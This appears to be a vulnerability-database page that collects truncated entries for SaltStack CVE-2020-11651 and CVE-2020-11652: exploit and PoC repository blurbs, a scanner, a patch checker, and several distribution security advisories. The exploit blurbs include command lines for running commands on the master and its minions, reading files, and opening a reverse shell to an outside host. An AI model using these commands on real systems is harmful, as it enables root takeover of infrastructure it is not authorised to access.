CVE-2020-11652-POC

CVE-2020-11652-CVE-2020-11652-POC 这是一个针对CVE-2020-11651和CVE-2020-11651的修复POC 原始版本: https://github.com/Al1ex/CVE-2020-11652 已修复错误: TransportWarning: Unclosed transport! pip3 install salt 远程代码执行 python3 CVE-2020-11652.py --master --port --exec-choose master --exec-cmd 'whoami'...

CVE-2020-11652

CVE-2020-11652 saltstack CVE-2020-11652 参考 https://github.com/jasperla/CVE-2020-11651-poc...

salt-vulnerabilities

Salt Stack 配置文件 该配置文件将检查您的 salt 安装是否已修补到能够防御 CVE-2020-11651 和 CVE-2020-11652 的级别。 它通过检查确保以下包：salt-api、salt-cloud、salt-master、salt-minion、salt-ssh、salt-syndic 和 salt，要么是 3000.2 或更新版本，要么是 2019.2.4 或更新版本，要么不存在。 它还会检查命令行中是否存在 "salt" 命令，如果存在，则检查 salt --version 命令的标准输出，以防 salt 是通过非包管理器方式安装的。 测试...

CVE-2020-11651-CVE-2020-11652-EXP

此存储库没有 README。...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

这是什么？ 用于测试 SaltStack 漏洞 CVE-2020-11651 与 CVE-2020-11652 的扫描工具。 这些漏洞允许能够连接到“请求服务器”（request server）端口的攻击者绕过所有身份验证 和授权控制，发布任意控制消息，在“主服务器”（master）文件系统的任意位置读写文件， 并窃取用于以 root 身份向主服务器进行身份验证的密钥。其影响是在主服务器及所有连接到它的 从服务器（minions）上实现完全的远程命令执行（以 root 身份）。 如何安装。 该工具需要 Python 2.7 或 Python 3。外部依赖可使用 pip 或...

Ubuntu: Security Advisory (USN-6849-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Ubuntu 14.04 LTS : Salt vulnerabilities (USN-6849-1)

The remote Ubuntu 14.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6849-1 advisory. It was discovered that Salt incorrectly validated method calls and sanitized paths. A remote attacker could possibly use this issue to access some method...

Exploit for Path Traversal in Saltstack Salt

CVE-2020-11652-CVE-2020-11652-POC This is a fix POC CVE-2020-...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:2106-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:0899-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

SUSE: Security Advisory (SUSE-SU-2021:2105-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2021:2106-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1150-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1151-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Exploit for Path Traversal in Saltstack Salt

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master:...

Ubuntu 16.04 LTS / 18.04 LTS : Salt vulnerabilities (USN-4459-1)

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-4459-1 advisory. It was discovered that Salt allows remote attackers to determine which files exist on the server. An attacker could use that to extract...

Ubuntu: Security Advisory (USN-4459-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2020 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

VulnCheck KEV: CVE-2020-11652

SaltStack Salt contains a path traversal vulnerability in the salt-master process ClearFuncs which allows directory access to authenticated users. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability...

SUSE SLES15 Security Update : Salt (SUSE-SU-2020:1973-1)

This update fixes the following issues : salt : Fix for TypeError in Tornado importer bsc1174165 Require python3-distro only for TW bsc1173072 Various virt backports from 3000.2 Avoid traceback on debug logging for swarm module bsc1172075 Add publishbatch to ClearFuncs exposed methods Update to...